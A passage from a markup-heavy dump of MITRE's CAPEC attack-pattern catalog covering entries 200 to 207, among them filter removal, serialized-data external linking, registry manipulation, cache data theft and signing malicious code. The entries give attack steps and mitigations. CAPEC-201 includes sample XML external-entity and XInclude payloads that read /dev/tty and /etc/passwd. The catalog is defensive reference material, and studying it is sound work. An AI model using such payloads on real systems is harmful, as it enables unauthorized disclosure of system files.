information.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, an application's output filter might block output that is sourced to sensitive folders or which contains certain keywords. A data mask is similar to an output filter, but usually applies to structured data, such as found in databases. Data masks elide or replace portions of the information returned from a query in order to protect against the disclosure of sensitive information. If an input filter is removed the attacker will be able to send content to the target and have the target utilize it without it being sanitized. If the content sent by the attacker is executable, the attacker may be able to execute arbitrary commands on the target. If an output filter or data masking mechanism is disabled, the target may send out sensitive information that would otherwise be elided by the filters. If the data mask is disabled, sensitive information stored in a database would be returned unaltered. This could result in the disclosure of sensitive information, such as social security numbers of payment records.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack is usually executed as part of a larger attack series. The attacker would disable filters and would then mount additional attacks to either insert commands or data or query the target application in ways that would otherwise be prevented by the filters.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10181 + Related_Attack_Pattern_10181 + + + + + + + + + + + + + + 207 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must utilize some sort of filtering mechanism (input, output, or data masking).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory10189 + Content_History_10189 + + + + + + + + + + + + + + + + #indSubmissionSubmission10190 + Submission_10190 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10195 + Modification_10195 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10201 + Modification_10201 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification10207 + Modification_10207 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-201 + Serialized Data External Linking + + + + + + + + + 201 + + + + + Serialized Data External Linking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary creates a serialized data file (e.g. XML, YAML, etc...) that contains an external data reference. Because serialized data parsers may not validate documents with external references, there may be no checks on the nature of the reference in the external data. This can allow an adversary to open arbitrary files or connections, which may further lead to the adversary gaining access to information on the system that they would normally be unable to obtain.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10221 + Related_Attack_Pattern_10221 + + + + + + + + + + + + + + 122 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10224 + Related_Attack_Pattern_10224 + + + + + + + + + + + + + + 278 + + + + + + + + + + + + #indAttackStepAttackStep10227 + Attack_Step_10227 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] Using a browser or an automated tool, an adversary records all instances of web services that process requests with serialized data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of URLs that process requests with serialized data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes serialized data requests.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10234 + Attack_Step_10234 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious payload] The adversary crafts malicious data message that contains references to sensitive files.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10239 + Attack_Step_10239 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Launch an External Linking attack] Send the malicious crafted message containing the reference to a sensitive file to the target URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must follow external data references without validating the validity of the reference target.</xhtml:div> + + + + + + + + + + + + #indSkillSkill10249 + Skill_10249 + + + + + + + + + + + + + + To send serialized data messages with maliciously crafted schema. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence10255 + Consequence_10255 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configure the serialized data processor to only retrieve external entities from trusted sources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following DTD would attempt to open the /dev/tty device:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;!DOCTYPE doc [ &amp;lt;!ENTITY ent SYSTEM "file:///dev/tty"&amp;gt; ]&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A malicious actor could use this crafted DTD to reveal sensitive information.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following XML snippet would attempt to open the /etc/passwd file:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;foo xmlns:xi="http://www.w3.org/2001/XInclude"&amp;gt; &amp;lt;xi:include parse="text" href="file:///etc/passwd"/&amp;gt;&amp;lt;/foo&amp;gt;&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 829 + + + + + + + + + + + + #indReferenceReference10278 + Reference_10278 + + + + + + + + + REF-73 + + + + + + + + + + + + #indReferenceReference10279 + Reference_10279 + + + + + + + + + REF-74 + + + + + + + + + + + + #indContentHistoryContentHistory10281 + Content_History_10281 + + + + + + + + + + + + + + + + #indSubmissionSubmission10282 + Submission_10282 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10287 + Modification_10287 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Activation_Zone, Attack_Phases, Attacker_Skills_or_Knowledge_Required, Description, Description Summary, Examples-Instances, Injection_Vector, Methods_of_Attack, Payload, Payload_Activation_Impact, Resources_Required, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification10293 + Modification_10293 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Description Summary, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification10299 + Modification_10299 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Description, Execution_Flow, Mitigations, Skills_Required + + + + + + + + + + + + #indModificationModification10305 + Modification_10305 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Consequences, Description + + + + + + + + + + + + #indModificationModification10311 + Modification_10311 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Example_Instances, Execution_Flow, Prerequisites + + + + + + + + + + + + #indModificationModification10317 + Modification_10317 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName10323 + Previous_Entry_Name_10323 + + + + + + + + + 2018-07-31 + + + + + XML Entity Blowup + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName10324 + Previous_Entry_Name_10324 + + + + + + + + + 2020-07-30 + + + + + XML Entity Linking + + + + + + + + + + + + #CAPEC-202 + Create Malicious Client + + + + + + + + + 202 + + + + + Create Malicious Client + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary creates a client application to interface with a target service where the client violates assumptions the service makes about clients. Services that have designated client applications (as opposed to services that use general client applications, such as IMAP or POP mail servers which can interact with any IMAP or POP client) may assume that the client will follow specific procedures.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, servers may assume that clients will accurately compute values (such as prices), will send correctly structured messages, and will attempt to ensure efficient interactions with the server. By reverse-engineering a client and creating their own version, an adversary can take advantage of these assumptions to abuse service functionality.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, a purchasing service might send a unit price to its client and expect the client to correctly compute the total cost of a purchase. If the adversary uses a malicious client, however, the adversary could ignore the server input and declare any total price. Likewise, an adversary could configure the client to retain network or other server resources for longer than legitimately necessary in order to degrade server performance. Even services with general clients can be susceptible to this attack if they assume certain client behaviors. However, such services generally can make fewer assumptions about the behavior of their clients in the first place and, as such, are less likely to make assumptions that an adversary can exploit.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10335 + Related_Attack_Pattern_10335 + + + + + + + + + + + + + + 22 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted service must make assumptions about the behavior of the client application that interacts with it, which can be abused by an adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must be able to reverse engineer a client of the targeted service. However, the adversary does not need to reverse engineer all client functionality - they only need to recreate enough of the functionality to access the desired server functionality.</xhtml:div> + + + + + 602 + + + + + + + + + + + + #indContentHistoryContentHistory10348 + Content_History_10348 + + + + + + + + + + + + + + + + #indSubmissionSubmission10349 + Submission_10349 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10354 + Modification_10354 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10360 + Modification_10360 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-203 + Manipulate Registry Information + + + + + + + + + 203 + + + + + Manipulate Registry Information + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in authorization in order to modify content within a registry (e.g., Windows Registry, Mac plist, application registry). Editing registry information can permit the adversary to hide configuration information or remove indicators of compromise to cover up activity. Many applications utilize registries to store configuration and service information. As such, modification of registry information can affect individual services (affecting billing, authorization, or even allowing for identity spoofing) or the overall configuration of a targeted application. For example, both Java RMI and SOAP use registries to track available services. Changing registry values is sometimes a preliminary step towards completing another attack pattern, but given the long term usage of many registry values, manipulation of registry information could be its own end.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10373 + Related_Attack_Pattern_10373 + + + + + + + + + + + + + + 176 + + + + + 437 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must rely on values stored in a registry.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have a means of elevating permissions in order to access and modify registry content through either administrator privileges (e.g., credentialed access), or a remote access tool capable of editing a registry through an API.</xhtml:div> + + + + + + + + + + + + #indSkillSkill10383 + Skill_10383 + + + + + + + + + + + + + + The adversary requires privileged credentials or the development/acquiring of a tailored remote access tool. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure proper permissions are set for Registry hives to prevent users from modifying keys.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ a robust and layered defensive posture in order to prevent unauthorized users on your system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ robust identification and audit/blocking using an allowlist of applications on your system. Unnecessary applications, utilities, and configurations will have a presence in the system registry that can be leveraged by an adversary through this attack pattern.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulating registration information can be undertaken in advance of a path traversal attack (inserting relative path modifiers) or buffer overflow attack (enlarging a registry value beyond an application's ability to store it).</xhtml:div> + + + + + 15 + + + + + + + + + + + + #indTaxonomyMappingModifyRegistry + Modify Registry + + + + + + + + + + + + + + 1112 + + + + + Modify Registry + + + + + + + + + + + + #indTaxonomyMappingPlistModification + Plist Modification + + + + + + + + + + + + + + 1647 + + + + + Plist Modification + + + + + + + + + + + + #indContentHistoryContentHistory10409 + Content_History_10409 + + + + + + + + + + + + + + + + #indSubmissionSubmission10410 + Submission_10410 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10415 + Modification_10415 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification10421 + Modification_10421 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification10427 + Modification_10427 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Activation_Zone, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Injection_Vector, Payload, Payload_Activation_Impact, References, Related_Weaknesses, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification10433 + Modification_10433 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10439 + Modification_10439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10445 + Modification_10445 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName10451 + Previous_Entry_Name_10451 + + + + + + + + + 2018-07-31 + + + + + Manipulate Application Registry Values + + + + + + + + + + + + #CAPEC-204 + Lifting Sensitive Data Embedded in Cache + + + + + + + + + 204 + + + + + Lifting Sensitive Data Embedded in Cache + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary examines a target application's cache, or a browser cache, for sensitive information. Many applications that communicate with remote entities or which perform intensive calculations utilize caches to improve efficiency. However, if the application computes or receives sensitive information and the cache is not appropriately protected, an attacker can browse the cache and retrieve this information. This can result in the disclosure of sensitive information.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10459 + Related_Attack_Pattern_10459 + + + + + + + + + + + + + + 167 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10460 + Related_Attack_Pattern_10460 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indAttackStepAttackStep10463 + Attack_Step_10463 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Application Cache] An adversary first identifies an application that utilizes a cache. This could either be a web application storing data in a browser cache, or an application running on a separate machine. The adversary examines the cache to determine file permissions and possible encryption.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use probing tools to look for application cache files on a machine.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a web application and determine if any sensitive information is stored in browser cache.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10470 + Attack_Step_10470 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt to Access Cache] Once the cache has been discovered, the adversary attempts to access the cached data. This often requires previous access to a machine hosting the target application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use priviledge escalation to access cache files that might have strict privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the application cache is encrypted with weak encryption, attempt to understand the encryption technique and break the encryption.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10477 + Attack_Step_10477 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Lift Sensitive Data from Cache] After gaining access to cached data, an adversary looks for potentially sensitive information and stores it for malicious use. This sensitive data could possibly be used in follow-up attacks related to authentication or authorization.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using a public computer, or gaining access to a victim's computer, examine browser cache to look for sensitive data left over from previous sessions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must store sensitive information in a cache.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The cache must be inadequately protected against attacker access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to reach the target application's cache. This may require prior access to the machine on which the target application runs. If the cache is encrypted, the attacker would need sufficient computational resources to crack the encryption. With strong encryption schemes, doing this could be intractable, but weaker encryption schemes could allow an attacker with sufficient resources to read the file.</xhtml:div> + + + + + 524 + + + + + 311 + + + + + 1239 + + + + + 1258 + + + + + + + + + + + + #indTaxonomyMappingDataFromLocalSystem + Data from Local System + + + + + + + + + + + + + + 1005 + + + + + Data from Local System + + + + + + + + + + + + #indContentHistoryContentHistory10503 + Content_History_10503 + + + + + + + + + + + + + + + + #indSubmissionSubmission10504 + Submission_10504 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10509 + Modification_10509 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification10515 + Modification_10515 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification10521 + Modification_10521 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10527 + Modification_10527 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification10533 + Modification_10533 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName10539 + Previous_Entry_Name_10539 + + + + + + + + + 2015-11-09 + + + + + Lifting cached, sensitive data embedded in client distributions (thick or thin) + + + + + + + + + + + + #CAPEC-205 + DEPRECATED: Lifting credential(s)/key material embedded in client distributions (thick or thin) + + + + + + + + + 205 + + + + + DEPRECATED: Lifting credential(s)/key material embedded in client distributions (thick or thin) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of CAPEC-37 : Retrieve Embedded Sensitive Data. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory10547 + Content_History_10547 + + + + + + + + + + + + + + + + #indSubmissionSubmission10548 + Submission_10548 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10553 + Modification_10553 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10559 + Modification_10559 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Architectural_Paradigms, Attack_Motivation-Consequences, Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, CIA_Impact, Description, Description Summary, Examples-Instances, Frameworks, Methods_of_Attack, Platforms, Purposes, Related_Attack_Patterns, Related_Vulnerabilities, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Technical_Context, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName10565 + Previous_Entry_Name_10565 + + + + + + + + + 2017-05-01 + + + + + Lifting credential(s)/key material embedded in client distributions (thick or thin) + + + + + + + + + + + + #CAPEC-206 + Signing Malicious Code + + + + + + + + + 206 + + + + + Signing Malicious Code + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern10572 + Related_Attack_Pattern_10572 + + + + + + + + + + + + + + 444 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep10577 + Attack_Step_10577 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary first attempts to obtain a digital certificate in order to sign their malware or tools. This certificate could be stolen, created by the adversary, or acquired normally through a certificate authority.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10582 + Attack_Step_10582 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Based on the type of certificate obtained, the adversary will create a goal for their attack. This is either a broad or targeted attack. If an adversary was able to steal a certificate from a targeted organization, they could target this organization by pretending to have legitimate code signed by them. In other cases, the adversary would simply sign their malware and pose as legitimate software such that any user might trust it. This is the more broad approach</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10587 + Attack_Step_10587 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary creates their malware and signs it with the obtained digital certificate. The adversary then checks if the code that they signed is valid either through downloading from the targeted source or testing locally.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep10592 + Attack_Step_10592 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Once the malware has been signed, it is then deployed to the desired location. They wait for a trusting user to run their malware, thinking that it is legitimate software. This malware could do a variety of things based on the motivation of the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted developer must use a signing key to sign code bundles. (Note that not doing this is not a defense - it only means that the adversary does not need to steal the signing key before forging code bundles in the developer's name.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure digital certificates are protected and inaccessible by unauthorized uses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If a digital certificate has been compromised it should be revoked and regenerated.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Even if a piece of software has a valid and trusted digital signature, it should be assessed for any weaknesses and vulnerabilities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the famous Stuxnet malware incident, two digital certificates were compromised in order to sign malicious device drivers with legitimate credentials. The signing resulted in the malware appearing as trusted by the system it was running on, which facilitated the installation of the malware in kernel mode. This further resulted in Stuxnet remaining undetected for a significant amount of time. [REF-699]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The cyber espionage group CyberKittens leveraged a stolen certificate from AI Squared that allowed them to leverage a signed executable within Operation Wilted Tulip. This ultimately allowed the executable to run as trusted on the system, allowing a Crowd Strike stager to be loaded within the system's memory. [REF-714]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 732 + + + + + + + + + + + + #indTaxonomyMappingSubvertTrustControlsCodeSigning + Subvert Trust Controls:Code Signing + + + + + + + + + + + + + + 1553.002 + + + + + Subvert Trust Controls:Code Signing + + + + + + + + + + + + #indReferenceReference10627 + Reference_10627 + + + + + + + + + REF-699 + + + + + + + + + + + + #indReferenceReference10628 + Reference_10628 + + + + + + + + + REF-700 + + + + + + + + + + + + #indReferenceReference10629 + Reference_10629 + + + + + + + + + REF-714 + + + + + + + + + + + + #indContentHistoryContentHistory10631 + Content_History_10631 + + + + + + + + + + + + + + + + #indSubmissionSubmission10632 + Submission_10632 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification10637 + Modification_10637 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification10643 + Modification_10643 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Related_Weaknesses + + + + + + + + + + + + #indModificationModification10649 + Modification_10649 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification10655 + Modification_10655 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification10661 + Modification_10661 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification10667 + Modification_10667 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description, Prerequisites, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification10673 + Modification_10673 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Execution_Flow, Mitigations, References + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName10679 + Previous_Entry_Name_10679 + + + + + + + + + 2018-07-31 + + + + + Lifting signing key and signing malicious code from a production environment + + + + + + + + + + + + #CAPEC-207 + Removing Important Client Functionality + + + + + + + + + 207 + + + + + Removing Important Client Functionality + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary removes or disables functionality on the client that the server assumes to be present and trustworthy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" 